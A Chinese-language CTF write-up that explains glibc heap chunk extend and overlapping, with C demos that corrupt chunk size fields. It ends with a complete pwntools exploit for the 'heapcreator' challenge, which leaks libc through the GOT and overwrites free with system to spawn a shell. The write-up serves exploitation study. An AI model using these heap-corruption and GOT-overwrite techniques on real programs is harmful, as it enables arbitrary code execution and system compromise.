Chunk Extend and Overlapping
0x01 介紹
當存在可以修改chunk.pre_size或者chunk.size這兩個欄位漏洞時可以overlapping前面或後面的chunk
0x02 原理
chunk extend 技術能夠產生的原因在於 ptmalloc 在對堆 chunk 進行操作時使用的各種巨集。
獲取chunk塊大小
有兩種獲取chunk塊大小的巨集,chunksize( p )得到的是沒有inuse位的。chunksize_nomask( p )包含了Inuse位
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
獲取下一個chunk地址
將當前指標p+chunk大小得到下一個chunk地址
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
獲取前一個chunk大小
只有當inuse位為0時才有意義
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
獲取前一個chunk位置
將當前指標p-前一個chunk大小得到前一個chunk地址
/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
0x03 原理示例
其實主要包含兩種型別的overlapping,覆蓋前面chunk的前向overlapping和覆蓋後面chunk的後向overlapping。
後向extend
通過修改chunk1的size來覆蓋chunk2。利用的時候一般是
- 修改chunk1->size=chunk1->size+chunk2->size
- 然後釋放掉chunk1,這時fastbin或者unsortedbin裡面就出現了大小為chunk1->size+chunk2->size的bin
- 再申請chunk1->size+chunk2->size大小的chunk,就能申請到chunk1+chunk2,能夠對chunk2中的內容中的內容進行修改
#include<stdio.h>
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一個 0x80 的chunk1
malloc(0x10); //分配第二個 0x10 的chunk2
malloc(0x10); //防止與top chunk合併chunk3
*(int *)((int)ptr-0x8)=(0x91+0x20);//chunk1->size+chunk2->size
free(ptr);
ptr1=malloc(0xa0);
}
執行完三次之後堆疊情況
執行完free(ptr)之後,chunk3的inuse位已經變為了0。當再次malloc(0xa0)可以控制chunk1+chunk2的地址的內容
前向overlapping
通過修改smallbin2-> = smallbin1->size+fastbin1->size+fastbin2->size,和smallbin2->inuser=0。當free(smallbin2)時根據smallbin的unlink機制,會和前面的smallbin1進行合併。實現對前面fastbin1和fastbin2的overlapping
#include<stdio.h>
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(0x80);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(0x10);//smallbin2
malloc(0x10);//防止與top合併
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink進行前向extend
malloc(0x150);//佔位塊
}
當執行完4次malloc和free(ptr1)之後的堆
在修改了smallbin2的pre_size和inuse位之後,實現了前向overlapping前面的兩個fastbin
0x04 hitcontraining_heapcreator
1. 檢視程式的保護
可以修改GOT表,沒有PIE
2. 檢視程式
create_heap
正常的heap create.最多建立10個chunk。
- 先建立0x10大小的heaparray,包含內容的size和地址指標ptr
- 讀入size,建立size大小堆
- 讀入content
struct heaparray{
int size;
int *ptr_content
}
edit_heap
edit_heap很明顯的存在off by one
show_heap
通過heaparray中的ptr來輸出字串。如果能控制這個指標就能實現任意地址的內容輸出
delete_heap
正常delete的函式,先free(ptr),再free(heaparray),最後將heaparry[idx]置0.
3. 利用方法
建立3個heaparray
可以看到建立3個heaparray之後的堆分佈情況
create(0x18,b'aaaaaaaa')#0
create(0x10,'bbbbbbbb')#1
create(0x10,'cccccccc')#2
edit heaparray1
利用off by one漏洞修改下一個堆塊的size為0x81來覆蓋後面的3個0x20的chunk。並將heaparray1釋放掉。
edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
delete(1)
0x80大小的bin包含著0x20大小的bin。可以對內容進行覆蓋
leak libc
申請0x70大小的content,此時content會申請到上圖紅框,heaparray為上圖的黃框。content可以將heaparray中的ptr覆蓋為GOT表中的free項。進行libc地址洩露
payload = p64(0)*3+p64(0x21)+p64(8)+p64(elf.got['free'])
create(0x70,payload)
show(1)
p.recvuntil('Content : ')
free = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("free:{}".format(hex(free)))
getshell
heaparray2->ptr已經指向free_got,直接修改為system函式地址,並free(heaparray1)即可getshell
edit(1,p64(system))#修改free->system
delete(0)
p.interactive()
4. exp
from pwn import *
context.arch = 'amd64'
debug = 1
if debug:
context.log_level='debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./heapcreator')
elf = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node3.buuoj.cn',29313)
elf = ELF('./heapcreator')
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')
def create(size,content='a'):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap :')
p.sendline(str(size))
p.recvuntil('Content of heap:')
p.sendline(content)
def edit(idx,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content of heap :")
p.send(content)
def show(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil("Index :")
p.sendline(str(idx))
create(0x18,b'aaaaaaaa')#0
create(0x10,'bbbbbbbb')#1
create(0x10,'cccccccc')#2
edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
delete(1)
payload = p64(0)*3+p64(0x21)+p64(8)+p64(elf.got['free'])
create(0x70,payload)
show(1)
p.recvuntil('Content : ')
free = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("free:{}".format(hex(free)))
edit(1,p64(system))#修改free->system
delete(0)
p.interactive()
0x05 總結
利用條件:能夠修改chunk的pre_size和inuse
利用方法:覆蓋相鄰的幾個chunk,洩露內容(fd,bk或指標)或者修改內容(fd,bk或者指標)
參考連結:CTFWIKI
相關文章
- Chunk extend OverlappingAPP
- 堆溢位之OverlappingAPP
- [LeetCode] 435. Non-overlapping IntervalsLeetCodeAPP
- array_chunk
- $.extend()使用
- SCSS @extendCSS
- [Javascript] Encapsulate chunk operationJavaScript
- 理解jquery的$.extend()jQuery
- jquery 擴充套件方法($.fn.extend/$.extend) 自定義外掛 拖拽jQuery套件
- Google I/O Extend 2018Go
- implementation 'com.guo.android_extend:android-extend:1.0.6'失敗解決方法Android
- 硬剛 lodash 原始碼之路,_.chunk原始碼
- 每日一篇——lodash——array——chunk
- sass的mixin,extend,placeholder,functionFunction
- 19、解析2_1(鏈、chunk、鎖)
- jQuery原始碼學習之extendjQuery原始碼
- [20220124]驗證oradebug dump heapdump 2050中chunk的第1位元組表示chunk size+1.txt
- Laravel 裡面的 chunk 分塊效率問題Laravel
- lua語法-程式塊(chunk)與註釋
- 列表中的append,extend,+=,+的區別APP
- webpack4多頁應用HTML按需新增入口依賴chunk【html-webpack-plugin & html-inline-entry-chunk-plugin】WebHTMLPlugininline
- 陣列分組chunk的一種寫法陣列
- RTMP協議學習——Message與Chunk解讀協議
- 🤷♀️概念問題:module chunk bundle的區別
- 實現 VUE 中 MVVM - step11 - ExtendVueMVVM
- 1.2 - Laravel 5.6 - Extend 擴充套件機制Laravel套件
- Node.js NPM Tutorial: Create, Publish, Extend & ManageNode.jsNPM
- 內功修煉之lodash——chunk、zip、groupBy、invokeMap方法
- PHP 每日一函式 — 字串函式 chunk_split ()PHP函式字串
- PHP中array_chunk() 函式如何分割陣列PHP函式陣列
- ORA-01652: unable to extend temp segment by 128 in tablespace TEMP
- 學習一下Sass @extend 與 繼承繼承
- Vue常考知識點--extend 能做什麼Vue
- laravel chunk 分塊後 第二塊資料是物件Laravel物件
- vue中extend,mixins,extends,components,install的幾個操作Vue
- oracle表空間不足:ORA-01653: unable to extend tableOracle
- Less(v3.9.0)使用詳解—extend(擴充套件)套件
- 題解:CF1537E2 Erase and Extend (Hard Version)